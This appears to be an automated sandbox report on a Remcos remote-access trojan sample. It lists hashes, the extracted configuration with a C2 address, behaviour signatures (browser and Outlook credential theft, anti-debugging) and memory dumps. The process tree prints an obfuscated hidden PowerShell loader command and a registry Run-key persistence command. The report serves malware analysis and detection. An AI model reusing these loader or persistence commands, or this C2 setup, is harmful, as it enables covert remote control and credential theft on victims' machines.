Analysis

  • max time kernel
    148s
  • max time network
    150s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240802-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240802-enlocale:en-usos:windows10-2004-x64system
  • submitted
    01-10-2024 01:34

General

  • Target

    9124d7696d2b94e7959933c3f7a8f68e61a5ce29cd5934a4d0379c2193b126be.exe

  • Size

    967KB

  • MD5

    450228d72f9f726b645c55bbbc6db905

  • SHA1

    b26075c51a4681f2ff7407188f5e9480545a7aca

  • SHA256

    9124d7696d2b94e7959933c3f7a8f68e61a5ce29cd5934a4d0379c2193b126be

  • SHA512

    4795d090447d237cbe1a044ffe78e8cd0c9be358df778673b4713eab2c324056a7701d22b827b95b2413845089fa71ac81a4f47cc8bcdbabad34845e64b4e090

  • SSDEEP

    12288:5Ly0W0exb+S7/6eALmQXhts30QmskXnnAEkINz3WSVgl:5Ly05wCmQXw30Ek3AgNz3Sl

Malware Config

Extracted

Family

remcos

Botnet

Rem_doc2

C2

107.173.4.16:2404

Attributes
  • audio_folder

    MicRecords

  • audio_record_time

    5

  • connect_delay

    0

  • connect_interval

    1

  • copy_file

    remcos.exe

  • copy_folder

    Remcos

  • delete_file

    false

  • hide_file

    false

  • hide_keylog_file

    false

  • install_flag

    false

  • keylog_crypt

    false

  • keylog_file

    logs.dat

  • keylog_flag

    false

  • keylog_folder

    remcos

  • mouse_option

    false

  • mutex

    Rmc-DSGECX

  • screenshot_crypt

    false

  • screenshot_flag

    false

  • screenshot_folder

    Screenshots

  • screenshot_path

    %AppData%

  • screenshot_time

    10

  • take_screenshot_option

    false

  • take_screenshot_time

    5

Signatures

  • Remcos

    Remcos is a closed-source remote control and surveillance software.

  • Detected Nirsoft tools 6 IoCs

    Free utilities often used by attackers which can steal passwords, product keys, etc.

  • NirSoft MailPassView 2 IoCs

    Password recovery tool for various email clients

  • NirSoft WebBrowserPassView 2 IoCs

    Password recovery tool for various web browsers

  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Run Powershell and hide display window.

  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Executes dropped EXE 3 IoCs
  • Loads dropped DLL 1 IoCs
  • Reads user/profile data of web browsers 3 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • Accesses Microsoft Outlook accounts 1 TTPs 1 IoCs
  • Adds Run key to start application 2 TTPs 1 IoCs
  • Suspicious use of NtCreateThreadExHideFromDebugger 1 IoCs
  • Suspicious use of NtSetInformationThreadHideFromDebugger 2 IoCs
  • Suspicious use of SetThreadContext 4 IoCs
  • Drops file in Program Files directory 1 IoCs
  • Drops file in Windows directory 3 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • System Location Discovery: System Language Discovery 1 TTPs 8 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Modifies registry key 1 TTPs 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 15 IoCs
  • Suspicious behavior: MapViewOfSection 4 IoCs
  • Suspicious use of AdjustPrivilegeToken 23 IoCs
  • Suspicious use of WriteProcessMemory 23 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\9124d7696d2b94e7959933c3f7a8f68e61a5ce29cd5934a4d0379c2193b126be.exe
    "C:\Users\Admin\AppData\Local\Temp\9124d7696d2b94e7959933c3f7a8f68e61a5ce29cd5934a4d0379c2193b126be.exe"
    1⤵
    • Drops file in Program Files directory
    • Drops file in Windows directory
    • System Location Discovery: System Language Discovery
    • Suspicious use of WriteProcessMemory
    PID:3916
    • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      "powershell.exe" -windowstyle hidden "$krjning=Get-Content -Raw 'C:\Users\Admin\AppData\Roaming\intercessionate\Favourablies117\sulfonylurea\Aerognosy.Res';$Lukewarmly95=$krjning.SubString(5322,3);.$Lukewarmly95($krjning)"
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Suspicious use of NtSetInformationThreadHideFromDebugger
      • Suspicious use of SetThreadContext
      • System Location Discovery: System Language Discovery
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious behavior: MapViewOfSection
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:3324
      • C:\Users\Admin\AppData\Local\Temp\Vaccinerende.exe
        "C:\Users\Admin\AppData\Local\Temp\Vaccinerende.exe"
        3⤵
        • Checks computer location settings
        • Loads dropped DLL
        • Suspicious use of NtCreateThreadExHideFromDebugger
        • Suspicious use of NtSetInformationThreadHideFromDebugger
        • Suspicious use of SetThreadContext
        • System Location Discovery: System Language Discovery
        • Suspicious behavior: MapViewOfSection
        • Suspicious use of WriteProcessMemory
        PID:2984
        • C:\Windows\SysWOW64\cmd.exe
          "C:\Windows\System32\cmd.exe" /c REG ADD HKCU\Software\Microsoft\Windows\CurrentVersion\Run /f /v "Chivey57" /t REG_EXPAND_SZ /d "%Misbehavers% -windowstyle 1 $Frligheden=(gp -Path 'HKCU:\Software\Roscoelite\').Aftvttedes;%Misbehavers% ($Frligheden)"
          4⤵
          • System Location Discovery: System Language Discovery
          • Suspicious use of WriteProcessMemory
          PID:1116
          • C:\Windows\SysWOW64\reg.exe
            REG ADD HKCU\Software\Microsoft\Windows\CurrentVersion\Run /f /v "Chivey57" /t REG_EXPAND_SZ /d "%Misbehavers% -windowstyle 1 $Frligheden=(gp -Path 'HKCU:\Software\Roscoelite\').Aftvttedes;%Misbehavers% ($Frligheden)"
            5⤵
            • Adds Run key to start application
            • System Location Discovery: System Language Discovery
            • Modifies registry key
            PID:2404
        • C:\Users\Admin\AppData\Local\Temp\Vaccinerende.exe
          C:\Users\Admin\AppData\Local\Temp\Vaccinerende.exe /stext "C:\Users\Admin\AppData\Local\Temp\yept"
          4⤵
          • Executes dropped EXE
          • System Location Discovery: System Language Discovery
          • Suspicious behavior: EnumeratesProcesses
          PID:3680
        • C:\Users\Admin\AppData\Local\Temp\Vaccinerende.exe
          C:\Users\Admin\AppData\Local\Temp\Vaccinerende.exe /stext "C:\Users\Admin\AppData\Local\Temp\jgcmker"
          4⤵
          • Executes dropped EXE
          • Accesses Microsoft Outlook accounts
          • System Location Discovery: System Language Discovery
          PID:2200
        • C:\Users\Admin\AppData\Local\Temp\Vaccinerende.exe
          C:\Users\Admin\AppData\Local\Temp\Vaccinerende.exe /stext "C:\Users\Admin\AppData\Local\Temp\taielpcybj"
          4⤵
          • Executes dropped EXE
          • System Location Discovery: System Language Discovery
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:4816

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

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Downloads

  • C:\Users\Admin\AppData\Local\Temp\Vaccinerende.exe

    Filesize

    967KB

    MD5

    450228d72f9f726b645c55bbbc6db905

    SHA1

    b26075c51a4681f2ff7407188f5e9480545a7aca

    SHA256

    9124d7696d2b94e7959933c3f7a8f68e61a5ce29cd5934a4d0379c2193b126be

    SHA512

    4795d090447d237cbe1a044ffe78e8cd0c9be358df778673b4713eab2c324056a7701d22b827b95b2413845089fa71ac81a4f47cc8bcdbabad34845e64b4e090

  • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_qdp1u5ua.afn.ps1

    Filesize

    60B

    MD5

    d17fe0a3f47be24a6453e9ef58c94641

    SHA1

    6ab83620379fc69f80c0242105ddffd7d98d5d9d

    SHA256

    96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

    SHA512

    5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

  • C:\Users\Admin\AppData\Local\Temp\yept

    Filesize

    4KB

    MD5

    8b8277c8f03c24d1f290dbe476e961d2

    SHA1

    2e13baf3a4b708277d550dc3dd1e0f99b131f78e

    SHA256

    9af6881f6dbffba028a7a977f4c0a43c764f840332986993ad66de7b816c2f9e

    SHA512

    7367a0236cd0d6cd731caf1ba1f4ea8f851ea1018a9c6b49db6e9d13b2aaba92767774da9169481918e4287021ff5c3a58c3143eaa5e7fe9fa88383208615948

  • C:\Users\Admin\AppData\Roaming\intercessionate\Favourablies117\sulfonylurea\Aerognosy.Res

    Filesize

    52KB

    MD5

    552ed0904239d64db1895620b38dc799

    SHA1

    8a6a6c6efd31b04c716cde1783b45783f2843e20

    SHA256

    d4d98fdbe306d61986bed62340744554e0a288c5a804ed5c924f66885cbf3514

    SHA512

    21f283ac39223437470036ec08eb01bf40c4a0c45ea5b94bb4d902cf66923db4d14641ce68370d240ab2b213527552dfde13eb1ff4b21a0bbf0c1ee6aed7ade7

  • C:\Users\Admin\AppData\Roaming\intercessionate\Favourablies117\sulfonylurea\Valvulate.Cru

    Filesize

    349KB

    MD5

    14c1d52f24f29389597b36dcfc90b95a

    SHA1

    a2578253f17b5f0ef989965dcb74aebb60763b2d

    SHA256

    f9b744d0223efe3c01c94d526881a95523c2f5e457f03774dd1d661944e60852

    SHA512

    4dde50c0b37e51b944a7a61866730e53e96773e28c35260dcae1eb38805251c3ba8e72c5d33ae2cb8d7486a4d3c6c180ec4560e3c20a6c535ca3a70aac158710

  • memory/2200-84-0x0000000000400000-0x0000000000462000-memory.dmp

    Filesize

    392KB

  • memory/2200-90-0x0000000000400000-0x0000000000462000-memory.dmp

    Filesize

    392KB

  • memory/2200-87-0x0000000000400000-0x0000000000462000-memory.dmp

    Filesize

    392KB

  • memory/2200-80-0x0000000000400000-0x0000000000462000-memory.dmp

    Filesize

    392KB

  • memory/2984-113-0x00000000004D0000-0x0000000001724000-memory.dmp

    Filesize

    18.3MB

  • memory/2984-109-0x00000000004D0000-0x0000000001724000-memory.dmp

    Filesize

    18.3MB

  • memory/2984-107-0x0000000023240000-0x0000000023259000-memory.dmp

    Filesize

    100KB

  • memory/2984-108-0x0000000023240000-0x0000000023259000-memory.dmp

    Filesize

    100KB

  • memory/2984-104-0x0000000023240000-0x0000000023259000-memory.dmp

    Filesize

    100KB

  • memory/2984-110-0x00000000004D0000-0x0000000001724000-memory.dmp

    Filesize

    18.3MB

  • memory/2984-111-0x00000000004D0000-0x0000000001724000-memory.dmp

    Filesize

    18.3MB

  • memory/2984-112-0x00000000004D0000-0x0000000001724000-memory.dmp

    Filesize

    18.3MB

  • memory/2984-114-0x00000000004D0000-0x0000000001724000-memory.dmp

    Filesize

    18.3MB

  • memory/2984-115-0x00000000004D0000-0x0000000001724000-memory.dmp

    Filesize

    18.3MB

  • memory/2984-116-0x00000000004D0000-0x0000000001724000-memory.dmp

    Filesize

    18.3MB

  • memory/2984-70-0x00000000004D0000-0x0000000001724000-memory.dmp

    Filesize

    18.3MB

  • memory/2984-117-0x00000000004D0000-0x0000000001724000-memory.dmp

    Filesize

    18.3MB

  • memory/3324-59-0x0000000073710000-0x0000000073EC0000-memory.dmp

    Filesize

    7.7MB

  • memory/3324-36-0x0000000070150000-0x00000000704A4000-memory.dmp

    Filesize

    3.3MB

  • memory/3324-48-0x00000000073D0000-0x00000000073DA000-memory.dmp

    Filesize

    40KB

  • memory/3324-51-0x0000000073710000-0x0000000073EC0000-memory.dmp

    Filesize

    7.7MB

  • memory/3324-50-0x0000000007B50000-0x0000000007B74000-memory.dmp

    Filesize

    144KB

  • memory/3324-49-0x0000000007B20000-0x0000000007B4A000-memory.dmp

    Filesize

    168KB

  • memory/3324-52-0x0000000073710000-0x0000000073EC0000-memory.dmp

    Filesize

    7.7MB

  • memory/3324-53-0x0000000073710000-0x0000000073EC0000-memory.dmp

    Filesize

    7.7MB

  • memory/3324-55-0x0000000073710000-0x0000000073EC0000-memory.dmp

    Filesize

    7.7MB

  • memory/3324-34-0x000000006FBA0000-0x000000006FBEC000-memory.dmp

    Filesize

    304KB

  • memory/3324-57-0x0000000073710000-0x0000000073EC0000-memory.dmp

    Filesize

    7.7MB

  • memory/3324-58-0x000000007371E000-0x000000007371F000-memory.dmp

    Filesize

    4KB

  • memory/3324-7-0x000000007371E000-0x000000007371F000-memory.dmp

    Filesize

    4KB

  • memory/3324-60-0x00000000086E0000-0x000000000D635000-memory.dmp

    Filesize

    79.3MB

  • memory/3324-61-0x0000000073710000-0x0000000073EC0000-memory.dmp

    Filesize

    7.7MB

  • memory/3324-62-0x0000000073710000-0x0000000073EC0000-memory.dmp

    Filesize

    7.7MB

  • memory/3324-63-0x0000000073710000-0x0000000073EC0000-memory.dmp

    Filesize

    7.7MB

  • memory/3324-64-0x0000000073710000-0x0000000073EC0000-memory.dmp

    Filesize

    7.7MB

  • memory/3324-67-0x0000000073710000-0x0000000073EC0000-memory.dmp

    Filesize

    7.7MB

  • memory/3324-35-0x0000000073710000-0x0000000073EC0000-memory.dmp

    Filesize

    7.7MB

  • memory/3324-69-0x0000000073710000-0x0000000073EC0000-memory.dmp

    Filesize

    7.7MB

  • memory/3324-46-0x00000000072A0000-0x00000000072BE000-memory.dmp

    Filesize

    120KB

  • memory/3324-74-0x0000000073710000-0x0000000073EC0000-memory.dmp

    Filesize

    7.7MB

  • memory/3324-47-0x00000000072D0000-0x0000000007373000-memory.dmp

    Filesize

    652KB

  • memory/3324-8-0x0000000004840000-0x0000000004876000-memory.dmp

    Filesize

    216KB

  • memory/3324-9-0x0000000004F20000-0x0000000005548000-memory.dmp

    Filesize

    6.2MB

  • memory/3324-11-0x0000000073710000-0x0000000073EC0000-memory.dmp

    Filesize

    7.7MB

  • memory/3324-33-0x0000000007260000-0x0000000007292000-memory.dmp

    Filesize

    200KB

  • memory/3324-10-0x0000000073710000-0x0000000073EC0000-memory.dmp

    Filesize

    7.7MB

  • memory/3324-12-0x0000000004E60000-0x0000000004E82000-memory.dmp

    Filesize

    136KB

  • memory/3324-14-0x00000000057F0000-0x0000000005856000-memory.dmp

    Filesize

    408KB

  • memory/3324-32-0x0000000008060000-0x00000000086DA000-memory.dmp

    Filesize

    6.5MB

  • memory/3324-30-0x0000000007430000-0x00000000079D4000-memory.dmp

    Filesize

    5.6MB

  • memory/3324-13-0x0000000005780000-0x00000000057E6000-memory.dmp

    Filesize

    408KB

  • memory/3324-24-0x0000000005860000-0x0000000005BB4000-memory.dmp

    Filesize

    3.3MB

  • memory/3324-29-0x0000000006370000-0x0000000006392000-memory.dmp

    Filesize

    136KB

  • memory/3324-28-0x0000000006350000-0x000000000636A000-memory.dmp

    Filesize

    104KB

  • memory/3324-27-0x0000000006DE0000-0x0000000006E76000-memory.dmp

    Filesize

    600KB

  • memory/3324-26-0x0000000005E50000-0x0000000005E9C000-memory.dmp

    Filesize

    304KB

  • memory/3324-25-0x0000000005E10000-0x0000000005E2E000-memory.dmp

    Filesize

    120KB

  • memory/3680-101-0x0000000000400000-0x0000000000478000-memory.dmp

    Filesize

    480KB

  • memory/3680-77-0x0000000000400000-0x0000000000478000-memory.dmp

    Filesize

    480KB

  • memory/3680-83-0x0000000000400000-0x0000000000478000-memory.dmp

    Filesize

    480KB

  • memory/3680-85-0x0000000000400000-0x0000000000478000-memory.dmp

    Filesize

    480KB

  • memory/4816-89-0x0000000000400000-0x0000000000424000-memory.dmp

    Filesize

    144KB

  • memory/4816-94-0x0000000000400000-0x0000000000424000-memory.dmp

    Filesize

    144KB

  • memory/4816-98-0x0000000000400000-0x0000000000424000-memory.dmp

    Filesize

    144KB

  • memory/4816-97-0x0000000000400000-0x0000000000424000-memory.dmp

    Filesize

    144KB